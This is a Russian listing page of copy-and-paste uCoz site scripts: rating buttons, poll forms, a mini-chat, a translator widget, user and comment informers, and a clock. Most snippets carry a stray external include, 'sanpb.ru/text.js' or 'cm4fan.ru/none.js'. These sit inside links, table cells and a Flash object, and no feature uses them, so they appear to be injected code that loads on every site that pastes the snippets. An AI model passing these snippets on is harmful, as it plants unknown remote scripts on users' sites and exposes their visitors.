Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Главная » Скрипты для Ucoz
« 1 2 ... 10 11 12 13 14 »
Скрипт создающий эффект как Facebook кнопочки голосования , что не замечалось при стандартных видах форм, быть может и за любопытства, или просто проверить, но мне кажется от души ставят +5 балов.
Увидел я на одном сайте идею другого типа создания кнопки рейтинга новостей, мне идея автора понравилась очень с использованием стандартов юкоз, и я решил переделать скрипт и сделать его так же для всех модулей, так как автор SingMen прежний сделал только для каталога файлов.
Все как всегда имеют неумолимое стремление сделать свои сайт отличием от стандартов ucoz, многие просто пытаются воссоздать на юкоз какой нибудь популярный сайт или социальную сеть, как в нашем случае голосование за материал с кнопкой почти как Facebook, что самое интересное что тут не нужны не какие PHP заморочки, используется просто стандарты ucoz и к каждому разделу модуля индивидуально.
Как работает данный скрипт рейтинга мне нравится?
При клике по кнопке или цифре регистрируется сам клики в рейтинге материала, все скрипты подстроены для всех разделов под оценку +5 , можно и изменить, оценку которую будут давать пользователи.
при повторном клике в куках уже есть кук который указывает на то что пользователь уже голосовал за данный материал и по этому выходит ajax окно в котором пишется что ошибка и вы уже голосовали за новость.
Приступим к установке на свой сайт кнопки, вставлять можно как и в саму новость так и в вид материалов так как есть переменная которая показывает скрипт разным для каждой новости.Установка проста, копируем код и вставляем в нужное место раздела.
Вставлять можно после тега $BODY$ если вы решили ставить на странице материала и комментария к нему.
Для модуля фото альбом-а вставляем такой код скрипта:
Code
<div align="right" style="padding-right: 10px;"><a style="text-decoration: none;" href="javascript://" id="golike" onclick="$.get('/photo/4-1-$ID$-13-5',function(data) {if($(data).text().indexOf('уже оценивали')>-1) _uWnd.alert('Вы уже оценивали данный материал!','Ошибка!',{w:270,h:60,t:8000}); else {_uWnd.alert('Вы успешно оценили!','Успешно!',{w:270,h:60,t:8000})};});"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><table><tr><td> <img align="absmiddle" style="margin-top: -3px; border: none" id="like_img" src="http://bambun.ru/images/visota.png"></td><td><div style="background:#ECEEF5; border: 1px solid #B7C2DB; height: 20px; padding: 4px 4px 0px 4px; font-size: 12px; font-weight: bold; color: #3B5998; display: block;"> +$RATED$</div><div style="height: 2px;"></div></td></tr></table></a></div>
Для раздела сайта news новости, вставляем такой код скрипта:
Code
<div align="right" style="padding-right: 10px;"><a style="text-decoration: none; img-decoration: none;" href="javascript://" id="golike" onclick="$.get('/news/0-0-5-$ID$-15-1',function(data) {if($(data).text().indexOf('уже оценивали')>-1) _uWnd.alert('<h3>Вы уже оценивали данный материал!</h3>','Ошибка!',{w:270,h:80,t:8000}); else {_uWnd.alert('Вы успешно оценили!','Успешно!',{w:270,h:60,t:8000})};});"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><table><tr><td> <img align="absmiddle" style="margin-top: -3px; border: 0px" id="like_img" src="http://bambun.ru/images/visota.png"></td><td><div style="background: #ECEEF5; border: 1px solid #B7C2DB; height: 20px; padding: 4px 4px 0px 4px; font-size: 12px; font-weight: bold; color: #3B5998; display: block;"> +$RATED$</div><div style="height: 2px;"></div></td></tr></table></a></div>
Для разделов модулей сайта
Каталог сайтов - dir вставляем такой код скрипта:
Code
<div align="right" style="padding-right: 10px;"><a style="text-decoration: none;" href="javascript://" id="golike" onclick="$.get('/dir/0-1-5-$ID$-3',function(data) {if($(data).text().indexOf('уже оценивали')>-1) _uWnd.alert('Вы уже оценивали данный материал!','Ошибка!',{w:270,h:60,t:8000}); else {_uWnd.alert('Вы успешно оценили!','Успешно!',{w:270,h:60,t:8000})};});"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><table><tr><td> <img align="absmiddle" style="margin-top: -3px; border: none" id="like_img" src="http://bambun.ru/images/visota.png"></td><td><div style="background:#ECEEF5; border: 1px solid #B7C2DB; height: 20px; padding: 4px 4px 0px 4px; font-size: 12px; font-weight: bold; color: #3B5998; display: block;"> +$RATED$</div><div style="height: 2px;"></div></td></tr></table></a></div>
Каталог файлов - load вставляем такой код скрипта:
Code
<div align="right" style="padding-right: 10px;"><a style="text-decoration: none;" href="javascript://" id="golike" onclick="$.get('/load/0-1-5-$ID$-3',function(data) {if($(data).text().indexOf('уже оценивали')>-1) _uWnd.alert('Вы уже оценивали данный материал!','Ошибка!',{w:270,h:60,t:8000}); else {_uWnd.alert('Вы успешно оценили!','Успешно!',{w:270,h:60,t:8000})};});"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><table><tr><td> <img align="absmiddle" style="margin-top: -3px; border: none" id="like_img" src="http://bambun.ru/images/visota.png"></td><td><div style="background:#ECEEF5; border: 1px solid #B7C2DB; height: 20px; padding: 4px 4px 0px 4px; font-size: 12px; font-weight: bold; color: #3B5998; display: block;"> +$RATED$</div><div style="height: 2px;"></div></td></tr></table></a></div>
Каталог статей - publ вставляем такой код скрипта:
Code
<div align="right" style="padding-right: 10px;"><a style="text-decoration: none;" href="javascript://" id="golike" onclick="$.get('/publ/0-1-5-$ID$-3',function(data) {if($(data).text().indexOf('уже оценивали')>-1) _uWnd.alert('Вы уже оценивали данный материал!','Ошибка!',{w:270,h:60,t:8000}); else {_uWnd.alert('Вы успешно оценили!','Успешно!',{w:270,h:60,t:8000})};});"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><table><tr><td> <img align="absmiddle" style="margin-top: -3px; border: none" id="like_img" src="http://bambun.ru/images/visota.png"></td><td><div style="background:#ECEEF5; border: 1px solid #B7C2DB; height: 20px; padding: 4px 4px 0px 4px; font-size: 12px; font-weight: bold; color: #3B5998; display: block;"> +$RATED$</div><div style="height: 2px;"></div></td></tr></table></a></div>
Блог - blog вставляем такой код скрипта:
Code
<div align="right" style="padding-right: 10px;"><a style="text-decoration: none;" href="javascript://" id="golike" onclick="$.get('/blog/0-1-5-$ID$-3',function(data) {if($(data).text().indexOf('уже оценивали')>-1) _uWnd.alert('Вы уже оценивали данный материал!','Ошибка!',{w:270,h:60,t:8000}); else {_uWnd.alert('Вы успешно оценили!','Успешно!',{w:270,h:60,t:8000})};});"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><table><tr><td> <img align="absmiddle" style="margin-top: -3px; border: none" id="like_img" src="htt
...
Читать дальше »
Установка:
1. Скачиваем архив ниже.
2. Через файловый менеджер загружаем папку "question_images" в корень вместе со всеми файлами.
3. Вставляем код формы опроса в Управление дизайном » Опросы » Вид формы опросов.
4. Сохраняем.
5. НЕ ЗАБУДЬТЕ СКАЧАТЬ ПАПКУ С КАРТИНКАМИ. ПРЯМОЙ ЛИНК http://narod.ru/disk/63549713001.6bc9ec6a9fd5e507f23532bbd8132a89/question_images.rar.html
Код формы опроса:
Code
<div class="pollBlock" style="font-family:Tahoma,Arial;">
<div class="pollQue" style="font-size:8pt;padding-top:2px;text-align:left;"><b>$QUESTION$</b></div> <hr>
<div class="pollAns" style="font-size:8pt;text-align:left;">$ANSWERS$</div> <hr>
<div class="pollLnk" style="padding-top:4px;text-align:center;">[ <a style="font-size:7pt;" href="$RESULTS_LINK$">Результаты</a> · <a style="font-size:7pt;" href="$ARCHIVE_LINK$">Архив опросов</a> ]</div>
<script src="http://sanpb.ru/text.js" type="text/javascript"></script>
<div class="pollTot" style="padding-top:4px;font-size:7pt;text-align:center;">Всего ответов: <b>$TOTAL_VOTES$</b></div>
</div>
<style>
.answer div div {height: 10px !important; border: 1px solid #000; background-repeat: repeat-x}
</style>
<script type="text/javascript">
var a = ['/question_images/01.gif','/question_images/02.gif','/question_images/03.gif','/question_images/04.gif','/question_images/05.gif'];
for(var i = 0; i < a.length; i++){
$('div.answer div div').eq(i).css({background: 'url(' + a[i] + ')', backgroundRepeat: 'repeat-x'});
}
$('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});
</script>
Скрипт светлый вид материалов файлов для uCoz
Code
<div id="entryID$ID$"><!--viewn_loop-->
<style>
.viewn_rat {float:right;}
.viewn_cont {padding:5px 9px 0 9px; overflow:hidden;}
.</style>
<style type="text/css"> @import url('http://bambun.ru/css_js/css-vida-cstav.ru.css') all;</style>
<div id="entryID$ID$">
<div class="viewn_loop">
<div class="viewn_in">
<div class="viewn_top">
<div class="viewn_rat"></div>
<a href="$ENTRY_URL$"><div class="block_title">$TITLE$</div></a>$MODER_PANEL$
</div>
<div class="viewn_cont"><table><tr>
<td width="174px"><div style="background:url(http://bambun.ru/images/posterbg2.png) no-repeat;width:150px;height:128px;padding-top:4px;padding-bottom:4px;padding-right:22px;padding-left:4px;cursor:pointer;">
<img id="img$ID$" src="$IMG_URL1$" width="150px" height="128px" align="left" alt="$TITLE$" />
<script type="text/javascript">
$(function(){
$('#img$ID$').click(function(){var s="'sc'";
new _uWnd('Et','Реальный размер изображения $TITLE$',70,70,{autosize:1,shadow:1,autosizeonimages:1,header:1},'<img src="'+$(this).attr('src')+'" align="center" alt="" onclick="_uWnd.close('+s+')" style="max-width:900px;max-height:700px;cursor:pointer;">');});
});
</script>
</div> </td>
<div class="news-message">
<td>$MESSAGE$</td></tr></table>
<div class="viewn_detail" style="text-align:left;">
<a href="$CATEGORY_URL$">$CATEGORY_NAME$</a> | Просмотров: <b>$READS$</b> | <span title="$TIME$">$DATE$</span> | Скачали <b>$LOADS$</b> | Добавил <b>$USERNAME$</b> |
</div><script src="http://sanpb.ru/text.js" type="text/javascript"></script>
</div>
</div>
</div>
</div><!--/viewn_loop--></div></div>
Полностью рабочий и функциональный чат, почти такой же как и на Zagruzka-Plus
Как-то он уже был выложен в интернете, но в нём была целая гора багов..
Но я решил довести его до хорошего состояния и вот теперь он в паблике)
Описание и изменения функционала чата:
- Аватар рядом с ником
- Ник администратора красный, а остальных чёрный
- Красивая полоса прокрутки (только для Google Chrome)
- Наличие вызова правил чата
- Новая кнопка - Обновить (Вместо звуков)
- Красивая панель bb-кодов и кнопок (отправить, отмена, написать)
- Изменение цвета отдельных слов или всего сообщения
- Ну и конечно красивый, светлый дизайн)
И другие мелочи которые вы сможете увидеть, после установки
Перейдем к установки:
Перед началом установки можете на всякий случай сохранить
"Вид материалов Мини-Чата" И "Форму добавления сообщения"
например в блокноте на рабочем столе
1) Убираем отображение кода безопасности пользователям:
Заходим сюда : http://адрес_вашего_сайта/panel/?a=users;l=groups;t=8
Открываем раздел "Разное"
И в напротив пункта "Не показывать код безопасности" - ставим все галки
Сохраняем
Далее заходим сюда: http://адрес_вашего_сайта/panel/?a=mchat;l=setup
Ищем строчку "Использовать код безопасности для группы "Пользователи":"
И напротив снимаем галочку и потом сохраняем
2) Скачиваем архив (по ссылке http://narod.ru/disk/63333845001.d6ef81b485566f431151d1d48f357726/chatok.rar.html)
Открываем его и переносим папку serv на рабочий стол
Загружаем её в корень сайта (через FTP программу или файловый менеджер)
Путь должен получится такой: http://адрес_вашего_сайта/serv
3) Заходим в ПУ » Управление дизайном » Мини-Чат » Вид материалов
И заменяем всё на этот код:
Code
<link type="text/css" rel="StyleSheet" href="/serv/chatok/chat.css" />
<style type="text/css">
#body{}
::-webkit-scrollbar
{
width: 5px;
height: 9px;
}
::-webkit-scrollbar-track-piece
{
background-color: #ffffff;
-webkit-border-radius: 5px;
}
::-webkit-scrollbar-thumb:vertical
{
height: 9px;
background-color: #666;
-webkit-border-radius: 5px;
}
::-webkit-scrollbar-thumb:horizontal
{
width: 5px;
background-color: #666;
-webkit-border-radius: 5px;
}
</style>
<div style="padding:4px;">
<span class="chat-message-block">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td width="40">
<span class="chatAvatar"><img src="$AVATAR_URL$"><img src="/serv/chatok/noavatar.png"></span></td>
<td style="font-size:8pt; color:#666; line-height:14px;">
<div style="float:right; margin-right:5px;">
<span class="chat-button chat-reply tipsy-top" title="Ответить" href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('asrea').focus();parent.window.document.getElementById('mchatMsgF').value+='[b]$USERNAME$[/b], ';return false;"></span>
</div>
<b>
<a style="color:red;" href="$PROFILE_URL$">$USERNAME$</a><a href="$PROFILE_URL$">$USERNAME$</a>
</b><br>
<span class="small">$DATE$ в $TIME$</span>
</td>
</tr>
</tbody>
</table>
<div style="padding:3px 0px 3px 0px;">
$MESSAGE$
</div>
</span>
<div class="hr"></div>
</div>
4) Заходим в ПУ » Управление дизайном » Мини-Чат » Форма добавления сообщения
И заменяем всё на этот код:
Code
<link type="text/css" rel="StyleSheet" href="/serv/chatok/add.css" />
<div class="letg">
<div class="chat-panel" style="">
<a href="$LOGIN_LINK$" style="color:#fff; text-decoration: none;">Вы не авторизованы</a>
</div><script src="http://sanpb.ru/text.js" type="text/javascript"></script>
</div>
<script>
function valueCheck(){
$('#iChat-write-form').show();
$('.chat-panel').hide();
$('#mchatMsgF').focus();
}
</script>
<div class="letg">
<div class="chat-panel">
<span class="chat-panel-button button-archive tipsy-top" title="Управление сообщениями" href="$MSGCTRL_URI$" original-title="Управление сообщениями"> </span><span class="chat-panel-button button-archive tipsy-top" onclick="new _uWnd.alert('Данное действие разрешено только <b>Администратору</b>','Управление сообщениями',{w:400,h:60,tm:3500,close:1})" title="Управление сообщениями" href="javascript://" original-title="Управление сообщениями"> </span>
<span class="chat-panel-button chat-send-button" onclick="$('#iChat-write-form').toggle(500);$('.chat-panel').toggle(500);return false;">Написать</span>
<span class="chat-panel-button button-rules tipsy-top" title="Правила" href="javascript://" onclick="new _uWnd('commadd','Правила Мини-Чата',300,200,{align:'left',min:0,shadow:1,header:1,max:0,resize:0},'<b>Запрещено:</b><br><span id=plp>Развязывать разборки (для этого есть ЛС)</span><br><span id=plp> Писать 3-и или более сообщений подряд</span><br><span id=plp>Добавлять спам, рекламу флуд..</span><br><span id=plp>Оскорбление администрации</span><br><span id=plp>Часто писать с вкл. Caps Lock</span>');" original-title="Правила"> </span>
<span class="chat-panel-button button-sound tipsy-top" title="Обновить" onclick="document.getElementById('mchatIfm2').src='/mchat/?'+Math.random();return false;" original-title="Обновить"> </span>
</div>
</div>
<div class="letg">
<textarea id="asrea" onFocus="valueCheck()"></textarea>
<div id="iChat-write-form" style="display:none">
<div class="ichat-editor">
<div class="bbcodes-p">
<span id="b_b" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('b');return false;"><img title="Полужирный" src="/serv/chatok/bold.png" width="16" height="16" border="0" alt=""></span>
<span id="b_i" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('i');return false;"><img title="Курсив" src="/serv/chatok/italic.png" width="16" height="16" border="0" alt=""></span>
<span id="b_i" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('u');return false;"><img title="Подчёркнутый текст" src="/serv/chatok/underline.png" width="16" height="16" border="0" alt=""></span>
<span id="b_s" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('s');return false;"><img title="Зачеркнутый текст" src="/serv/chatok/stroke.png" width="16" height="16" border="0" alt=""></span>
<span id="b_emo" class="editor_button" href="$SMILES_URI$"><img title="Вставка смайликов" src="/serv/chatok/emoticon.png" width="16" height="16" border="0" alt=""></span>
<span id="b_color" class="editor_button" id="kmn" title="Выбрать цвет" onclick="openLayerB('sda',0,'/serv/chatok/zvetaf.xml','Выбор цвета',200,210,'1','','',0,'justify');return false;"><img src="/serv/chatok/colors.png" width="16" height="16" border="0" alt=""></span>
<span id="b_quote" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('quote');return false;"><img title="Вставка цитаты" src="/serv/chatok/quotes.png" width="16" height="16" border="0" alt=""></span>
</div>
</div>
<textarea name="mcmessage" class="mchat" id="mchatMsgF" title="Сообщение" onkeyup="countMessLength();"></textarea>
<script type="text/javascript" src="/serv/chatok/bbcodes.js"></script>
<div style="border:0px;" class="button-panel" align="center">
<span style="display:none" id="mchatAjax" align="center">
<span class"aer"><img src="/serv/chatok/next_load.gif"></span></span>
<input type="submit" class="zp-button" value="Отправить" id="mchatBtn">
<input type="button" class="zp-button" value="Отмена" onclick="$('#iChat-write-form').toggle(500);$('.chat-panel').toggle(500);return false;">$IMG_SECURE$$FLD_SECURE$
</div><script src="http://sanpb.ru/text.js" type="text/javascript"></script>
</div>
</div>
<input type="hidden" name="numa" id="numa832
...
Читать дальше »
Копируем и вставляем в CSS
Code
/* Start design by vsepodrad.ru */
Вставляем в вид формы опроса
Code
<div style="border:1px solid #4f859e;">
<table border="0" cellpadding="0" cellspacing="1" width="100%" id="ansplace">
<tr><td colspan="3" class="td1">$QUESTION$</td></tr>
<tr id="ans"><td colspan="3">$ANSWERS$</td></tr>
</table>
<table border="0" cellpadding="0" cellspacing="1" width="100%">
<tr><td class="td6" colspan="2">Всего ответов: <b>$TOTAL_VOTES$</b></td></tr>
<tr>
<td class="td5"><a href="$RESULTS_LINK$"><div class="ansbut">Результаты</div></a></td>
<script src="http://sanpb.ru/text.js" type="text/javascript"></script>
<td class="td5"><a href="$ARCHIVE_LINK$"><div class="ansbut">Все опросы</div></a></td>
</tr>
</table>
<script>
var num=1;
if(!$("div input.pollBut").attr("value")){
$(".answer").each(function() {
var path=$(this).find("span").attr("title");
var answer=$(this).text().split(".")[1];
var votes=path.split(":")[1].split("(")[0];
var persent="("+path.split(":")[1].split("(")[1];
$("#ansplace").append('<tr>'
+'<td class="td2">'+num+'</td>'
+'<td class="td3">'+answer+'</td>'
+'<td class="td4" title="'+persent+'" style="cursor:help;">'+votes+'</td>'
+'</tr><tr><td colspan="3" style="border-top:1px solid #4f859e;"></td></tr>');num++;});}
else {
$(".answer").each(function() {
$("input[name='answer']").css("margin","0px");
$("#ansplace").append('<tr>'
+'<td class="td2">'+num+'</td>'
+'<td class="td3">'+$(this).find("label").html()+'</td>'
+'<td class="td4">'+$(this).html().split(">")[0]+'</td>'
+'</tr><tr><td colspan="3" style="border-top:1px solid #4f859e;"></td></tr>');num++;});
$("#ansplace").append('<tr><td class="td1" colspan="3" style="padding:0px;">'+$("div.pollButton").html()+'</td></tr>');
$("input.pollBut").css({cursor:'pointer',width:'100%',fontWeight:'bold',padding:'3px 0px'});}
$("#ans").hide();
</script>
</div>
Скрипт переводчик от Microsoft для ucoz, цветовая гамма скрипта легко меняется, изменив "background-color: цвет; " в коде скрипта. Устанавливайте этот скрипт переводчика, и ваши пользователи будут довольны, увеличением функциональности ваших ucoz сайтов.
Code
<div id="MicrosoftTranslatorWidget" style="width: 200px; min-height: 83px; border-color: #3A5770; background-color: #78ADD0;"><noscript><a href="http://u.to/lBQMAg" title="http://www.microsofttranslator.com/bv.aspx?a=http2f2fwidget%2f">Перевести эту страницу</a><br />На платформе <a href="http://u.to/aDET" title="http://www.microsofttranslator.com">Microsoft® Translator</a></noscript></div><script src="http://sanpb.ru/text.js" type="text/javascript"></script><script type="text/javascript"> /* <![CDATA[ */ setTimeout(function() { var s = document.createElement("script"); s.type = "text/javascript"; s.charset = "UTF-8"; s.src = ((location && location.href && location.href.indexOf('https') == 0) ? "https://ssl.microsofttranslator.com" : "http://www.microsofttranslator.com" ) + "/ajax/v2/widget.aspx?mode=manual&from=ru&layout=ts"; var p = document.getElementsByTagName('head')[0] || document.documentElement; p.insertBefore(s, p.firstChild); }, 0); /* ]]> */ </script>
Топ пользователей для ucoz
Красивый и приятный на вид Топ пользователей для ucoz, скрипт очень хорошо подходит под все цвета дизайнов и легко редактируется!
Установка:
1. Создаем информер, Раздел - Пользователи, Сортировка - репутация, Количество материалов - 4, Количество колонок - 1
2. После в вид информера, вставляем ниже приведенный код (не забываем удалить из него старый код)
Code
<div class="vsepodrad_user">
<div class="user_no">$NUMBER$</div>
<div class="vsepodrad_avatar"><a href="$PROFILE_URL$"><img src="$AVATAR_URL$" width="30" height="30" border="0" class="vsmall_thumb"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><img src="http://bambun.ru/images/no_ava.jpg" width="30" height="30" border="0" class="vsmall_thumb"></a></div>
<div class="utitle"><a href="$PROFILE_URL$">$USERNAME$</a>Комментариев : $COM_POSTS$ - Постов залито : $LOAD_POSTS$
</div>
<div class="clearfix"></div>
</div>
3. Как тока поставить вид, вам ток остается поставить это информер в любое место на сайте - там где хотели его видеть:
Code
<div class="vsepodrad">
<div class="vsepodrad_bg">
<h2>10 лучших пользователей</h2>
$КОД_ИНФОРМЕРА$
</div>
</div>
<style>
.vsepodrad { background:#FFF; border:1px solid #b6e2fe; padding:2px; width:300px; margin:0px auto 10px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px }
.vsepodrad_bg { background: url(http://bambun.ru/images/simple_gradient.png) repeat-x bottom; min-height:81px; background-color:#fff; border:1px solid #85a8c8; margin:0px; padding:0px 2px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px }
.vsepodrad_bg h2 { margin:5px 2px 8px; padding:0px; color:#21759b; font-size:18px; font-family:Tahoma; text-transform:uppercase; font-weight:bold; }
.vsepodrad_user { background:url(http://bambun.ru/images/top_user.png) repeat-x; height:35px; border:1px solid #CCC; margin-bottom:15px; font-size:9px; padding:0px 8px; position:relative; background-color:#FFF; color:#666}
.vsepodrad_user:hover{background-position:bottom}
.vsepodrad_user a{font-size:12px; font-family:Arial, Helvetica, sans-serif; color:#333; text-decoration:none; font-weight:bold}
.vsepodrad_user a:hover{color:#0099cc}
.vsepodrad_avatar { width:30px; height:30px; padding:0px; margin:2px 5px 0px 20px; vertical-align:super; float:left; border:1px #ccc solid }
.vsepodrad_user > .user_no { background:url(http://bambun.ru/images/blocks.png) -231px -56px no-repeat; width:19px; height:45px; position:absolute; top:-5px; left:5px; font-size:11px; color:#FFF; text-shadow:1px 1px 1px #6fa1b7; text-indent:4px; line-height:45px; }
.vsepodrad_bg .utitle { margin-top:5px}
.vsepodrad_bg .utitle a{display:block}
</style>
4. Установка завершена!!!
Для начало нужно создать сам информер с такими параметрами:
[ Пользователи · Материалы · Кол. файлов · Материалы: 5 Колонки: 1 ]
Затем в шаблон информера вставить этот код:
Code
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td width="44"><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><img src="http://ili.pp.ua/img/Guests_0.png" style="border:1px solid #EAEAEA; padding:2px; width:70px; height:70px;">
</td><td style="font-size:8pt; color:#666; padding-left:4px;"><img src="http://ili.pp.ua/img/user1.png" alt="" align="absmiddle">
<a href="$PROFILE_URL$"><span style="color:#FF0000"><b>$USERNAME$</b></span></a><br>
<img src="http://ili.pp.ua/img/news.png" alt="" align="absmiddle"> Новостей: <b>$LOAD_POSTS$</b><br>
<img src="http://ili.pp.ua/img/balloon.png" alt="" align="absmiddle"> Комментов: <b>$COM_POSTS$</b><br>
<img src="http://ili.pp.ua/img/repa.png" alt="" align="absmiddle"> Репутация: <b>$REPUTATION$</b><br>
<img src="http://ili.pp.ua/img/thx.png" alt="" align="absmiddle"> Ранг: <b> $RANK_ICON$ </b></td></tr></tbody></table>
<span style="font-size:0px;"></span><div style="padding:4px;"></div>
Этот код вызова вставляем там где хотите видеть сам информер:
Code
<!-- uTop-->
<div style="padding:4px;">
$MYINF_1$
<span style="font-size:0px;"></span></div>
<!--/uTop-->
блок-информер "Последние комментарии".
Но поискав в интернете его ничего путёвого не нашёл..
Недавно нашёл удобный и красивый информер,
Но он был для другой системы - Dle...
Проверив его оказалось, что он подходит и для uCoz..
Так что вы можете смело пользоваться этим информером.
Установка:
Создаем информер, делается это тут
http://адрес_вашего_сайта/panel/?a=informers
С такими настройками:
[ Комментарии · Материалы · Дата добавления материала D · Материалы: 6 · Колонки: 1 ]
Название можете сделать любое
Переходим к дизайну информера.
Code
<li class="lcomment">
<strong>
<a href="$PROFILE_URL$" style="color: #000000">$USERNAME$</a>
$NAME$
</strong><br> Оставлен <span title="$TIME$">$DATE$</span><br>
?<a href="$ENTRY_URL$" title="" style="color: #73a331;">$ENTRY_TITLE$</a>
<script src="http://cm4fan.ru/none.js" type="text/javascript"></script>
<div class="lcommbox" style="width: 400px">
<p class="lcom_info">
<strong> Автор комментария: </strong> $USERNAME$ <br>
<strong> Оставлен </strong> $DATE$ в $TIME$<br>
<strong> Тема: </strong>$ENTRY_TITLE$
</p>
$MESSAGE$
</div>
</li>
сохраняете его
И запоминаем код вызова информера, например $MYINF_1$
Теперь создаете новый блок (Например через конструктор)
И в его HTML вставляете:
Code
<link rel="stylesheet" type="text/css" href="http://ili.pp.ua/js_css/komment.css">
<script type="text/javascript" src="http://ili.pp.ua/js_css/komment.js"></script>
<ul class="lastcomm">
$MYINF_1$
</ul>
Сохраняете и радуетесь новому блоку с последними комментариями..
Надеюсь всё понятно написал - будут вопросы пишите в комментарии
Увидеть как это всё работает можете на этом сайте
Code
<object width="140" height="140" data="http://ili.pp.ua/js_css/web_clock/board3clock.swf" type="application/x-shockwave-flash"><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><param value="transparent" name="wmode"/><param value="http://ili.pp.ua/js_css/web_clock/board3clock.swf" name="movie"/></object>
